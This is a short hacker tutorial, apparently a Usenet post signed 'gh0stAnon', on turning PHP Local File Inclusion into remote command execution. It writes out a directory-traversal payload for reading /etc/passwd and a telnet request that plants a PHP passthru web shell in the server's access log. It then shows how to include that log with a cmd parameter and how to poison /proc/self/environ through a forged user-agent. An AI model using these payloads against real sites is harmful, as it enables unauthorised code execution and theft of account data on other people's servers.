LFI Local File Inclusion hack
So, let's say we wrote ourselves a little shell script to check for host vulnerable to LFI from something like the wordpress module wp-config.php
or something similiar.
Once we have a vulnerable host, we can now do things like adding this to
end of the module path
wp-config.php?file=../../../../../etc/passwd to see all the user
accounts on this system. But better than that we can do something really
nifty like this...
telnet fuckwit.com 80
get <? passthru($_GET['cmd']); ?> HTTP/1.1
So that will obviously throw up an error but that is okay because all we
really wanted was to get that string logged. :-)
Confused? Well how about we include the log file? okay...
fuckwit.com/index.php?file=../../../../../../../../var/log/access.log?cmd=whoami
Interesting yet? Okay, maybe you can't seem to locate that log file and
things are not working. Well there is something you can still try to get
that string to work for you. It's called /proc/self/environ and it
stores information about your user-agent. How about we get one of those
little browser extensions that allow you to change your userhost and we
change that to <?php passthru($_GET['cmd']); ?> :-D See what we did
there?
Now that string is in /proce/self/environ after you connected and you
can easily /index.php?file=../../../../../../proc/self/environ
Get the picture?
--
+++>> gh0stAnon <<+++
cloakn3kcia4pnos.onion port 6697 ssl
[email protected]
Twitter: @locogh0st
--- SoupGate-Win32 v1.05
* Origin: fsxNet Usenet Gateway (21:1/5)